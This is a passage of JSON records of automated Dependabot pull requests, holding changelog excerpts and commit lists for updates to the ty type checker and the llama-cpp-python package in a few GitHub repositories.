href=\"https://redirect.github.com/astral-sh/ruff/pull/24705\"\u003e#24705\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport narrowing on \u003ccode\u003e__class__\u003c/code\u003e checks (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24997\"\u003e#24997\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse more precise exception types when catching a union (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25076\"\u003e#25076\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDiagnostics\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eInclude error context for overload consistency diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24950\"\u003e#24950\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCache results in desperate module resolution (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24977\"\u003e#24977\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLazily initialize builder when transforming a union type (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24929\"\u003e#24929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProject reachability constraints before narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24982\"\u003e#24982\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip parameter accumulation for object variadics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24976\"\u003e#24976\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/blob/main/CHANGELOG.md\"\u003ety's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.35\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-10.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow ParamSpec specialization through unioned generic classes (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24826\"\u003e#24826\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix cross-file find-references for keyword arguments (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25043\"\u003e#25043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix comparison between negative and positive literal integers (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25023\"\u003e#25023\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReject dataclass decorator parameters based on supported Python version (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25029\"\u003e#25029\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdjust start of block folding range to preserve visible header for character-precise LSP clients. (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24917\"\u003e#24917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEmit folding ranges from the language server for multi-line block headers. (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24978\"\u003e#24978\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip global search for references if identifier is not externally visible (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25033\"\u003e#25033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSpeed-up find-references by using multithreading for cross-file searches (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25042\"\u003e#25042\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCLI\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eInclude severity in JUnit diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25080\"\u003e#25080\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCheck non-generic overload implementations (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24936\"\u003e#24936\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExpand support for narrowing within walruses (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24968\"\u003e#24968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilter overloads based on return type for ParamSpec mapping (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24769\"\u003e#24769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprove support for recursive types (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24773\"\u003e#24773\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eInclude TypedDict type context when inferring mixed constructors (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25039\"\u003e#25039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eInclude TypedDict type context when inferring string keys (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25037\"\u003e#25037\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePreserve NewType and TypeAliasType in implicit aliases (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25072\"\u003e#25072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProvide type cntext for generator expression yields (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25069\"\u003e#25069\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProvide type context for boolean operands (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25070\"\u003e#25070\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSelectively promote a union of homogeneous fixed-length tuples to a single variadic tuple (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24705\"\u003e#24705\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport narrowing on \u003ccode\u003e__class__\u003c/code\u003e checks (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24997\"\u003e#24997\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse more precise exception types when catching a union (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25076\"\u003e#25076\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDiagnostics\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eInclude error context for overload consistency diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24950\"\u003e#24950\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCache results in desperate module resolution (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24977\"\u003e#24977\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLazily initialize builder when transforming a union type (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24929\"\u003e#24929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProject reachability constraints before narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24982\"\u003e#24982\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip parameter accumulation for object variadics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24976\"\u003e#24976\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/bc12d1cade50bc9407486057116fa0538bfb31ac\"\u003e\u003ccode\u003ebc12d1c\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.35 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3436\"\u003e#3436\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/fb34d89e4acb379f6d8239d338881a6d1cce6642\"\u003e\u003ccode\u003efb34d89\u003c/code\u003e\u003c/a\u003e Build riscv64 manylinux binary (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3402\"\u003e#3402\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/05def00f5eb67a599b314e1d550b4ce07ae08727\"\u003e\u003ccode\u003e05def00\u003c/code\u003e\u003c/a\u003e Update maturin to v1.13.1 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3417\"\u003e#3417\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/569c081af4159100bfe7be97624da9ef9910d8c8\"\u003e\u003ccode\u003e569c081\u003c/code\u003e\u003c/a\u003e Update prek dependencies (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3416\"\u003e#3416\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/608f8ff6e705b656392a89a1cf4e0b977fb10ab4\"\u003e\u003ccode\u003e608f8ff\u003c/code\u003e\u003c/a\u003e Update renovate configuration (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3379\"\u003e#3379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/518b61d7c2a2eff95e8826a9bba4a392574258b0\"\u003e\u003ccode\u003e518b61d\u003c/code\u003e\u003c/a\u003e Update uraimo/run-on-arch-action action to v3.1.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3405\"\u003e#3405\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/55429594f26e78d277b29aaadc10ca46f9277148\"\u003e\u003ccode\u003e5542959\u003c/code\u003e\u003c/a\u003e Update pre-commit hook astral-sh/ruff-pre-commit to v0.15.12 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3404\"\u003e#3404\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/astral-sh/ty/compare/0.0.34...0.0.35\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/yuyash/neural-trace/pull/7","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/yuyash%2Fneural-trace/issues/7","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/7/packages"}},{"old_version":"\u003e=0.2.50","new_version":"\u003e=0.3.22","update_type":"minor","path":"/ai-service","pr_created_at":"2026-05-04T03:18:25.000Z","version_change":"\u003e=0.2.50 → \u003e=0.3.22","issue":{"uuid":"4373812008","node_id":"PR_kwDOQ3Mfec7X3ZX1","number":120,"state":"closed","title":"chore(deps): update llama-cpp-python requirement from \u003e=0.2.50 to \u003e=0.3.22 in /ai-service","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-05-04T03:21:08.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-04T03:18:25.000Z","updated_at":"2026-05-04T03:21:16.000Z","time_to_close":163,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): update","packages":[{"name":"llama-cpp-python","old_version":"\u003e=0.2.50","new_version":"\u003e=0.3.22","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":"/ai-service","ecosystem":"pip"},"body":"Updates the requirements on [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.22]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@63d93d173\u003c/li\u003e\n\u003cli\u003efeat(ci): Re-enable Windows CUDA wheels and add CUDA 12.5.1 wheel builds\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.21]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f53577432 and sync Python bindings\u003c/li\u003e\n\u003cli\u003efix(ci): Build one arm64 release wheel for \u003ccode\u003epy3-none\u003c/code\u003e wheel publishing\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Build Docker images from the checked-out source and sanitize branch tags by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA wheel workflow and keep release tags aligned with the built toolkit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Speed up release wheel builds by moving arm64 off QEMU and parallelizing riscv64 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.17]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@49bfddeca18e62fa3d39114a23e9fcbdf8a22388 and sync Python bindings by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2151\"\u003e#2151\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle Qwen 3.5 hybrid prefix reuse by \u003ca href=\"https://github.com/codavidgarcia\"\u003e\u003ccode\u003e@​codavidgarcia\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/r-dh\"\u003e\u003ccode\u003e@​r-dh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2152\"\u003e#2152\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(dev): Add Ruff-based formatting and a safe lint baseline, and run it in CI for pull requests and pushes to \u003ccode\u003emain\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Run macOS CI on supported Apple Silicon and Intel runners by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2150\"\u003e#2150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Use the \u003ccode\u003ehf\u003c/code\u003e CLI instead of the deprecated \u003ccode\u003ehuggingface-cli\u003c/code\u003e name in GitHub Actions and docs by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2149\"\u003e#2149\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add riscv64 wheel builds to release workflow by \u003ca href=\"https://github.com/gounthar\"\u003e\u003ccode\u003e@​gounthar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2139\"\u003e#2139\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/14d7846f9a7c043901cb98bd446764377a8def6e\"\u003e\u003ccode\u003e14d7846\u003c/code\u003e\u003c/a\u003e fix(ci): skip unsupported Windows CUDA versions (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2204\"\u003e#2204\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/bc6ff9f2cc5545c180d8c3db4128d3ad48a31575\"\u003e\u003ccode\u003ebc6ff9f\u003c/code\u003e\u003c/a\u003e fix(ci): install CUDA CCCL headers for wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2203\"\u003e#2203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/04a3638b2637b0b6f1b843d16a679fbf7d2dd375\"\u003e\u003ccode\u003e04a3638\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA compiler arg for Windows detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2202\"\u003e#2202\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/2bfd80c1c5fadd6bd95bb57e7332438cca5521cd\"\u003e\u003ccode\u003e2bfd80c\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA unsupported compiler flag during detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2201\"\u003e#2201\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/9cf0ce7c2094c40d7166f3cc92f00f2c2236af4f\"\u003e\u003ccode\u003e9cf0ce7\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.22 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2200\"\u003e#2200\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d2113a14441f7d811b34f4aeee917449ad1da1b9\"\u003e\u003ccode\u003ed2113a1\u003c/code\u003e\u003c/a\u003e feat(ci): re-enable Windows CUDA wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2198\"\u003e#2198\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/587d94a8c31943e3bcbcccbbd2721867da52a9de\"\u003e\u003ccode\u003e587d94a\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@63d93d173 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2197\"\u003e#2197\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c6dc90555be7bedda2d15f516b3ccd6252130a0f\"\u003e\u003ccode\u003ec6dc905\u003c/code\u003e\u003c/a\u003e fix(docs): update mkdocstrings inventories config (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2195\"\u003e#2195\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d2bcbac46605f11d382426dd88d67e8b5c124cd7\"\u003e\u003ccode\u003ed2bcbac\u003c/code\u003e\u003c/a\u003e fix(ci): Scope CPU release wheel selectors by OS (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2194\"\u003e#2194\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/195cc59a187687ca64c8e0939e5e549d456aa2fb\"\u003e\u003ccode\u003e195cc59\u003c/code\u003e\u003c/a\u003e fix(ci): Repair py3 CPU release wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2193\"\u003e#2193\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.50...v0.3.22\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/InfinityZero3000/LexiLingo/pull/120","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/InfinityZero3000%2FLexiLingo/issues/120","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/120/packages"}},{"old_version":"\u003e=0.3.0","new_version":"\u003e=0.3.20","update_type":"patch","path":null,"pr_created_at":"2026-04-27T02:26:59.000Z","version_change":"\u003e=0.3.0 → \u003e=0.3.20","issue":{"uuid":"4332722503","node_id":"PR_kwDOR1ZDN87VziVF","number":23,"state":"open","title":"chore(deps): update llama-cpp-python requirement from \u003e=0.3.0 to \u003e=0.3.20","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-27T02:26:59.000Z","updated_at":"2026-04-27T02:26:59.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): update","packages":[{"name":"llama-cpp-python","old_version":"\u003e=0.3.0","new_version":"\u003e=0.3.20","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Updates the requirements on [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca 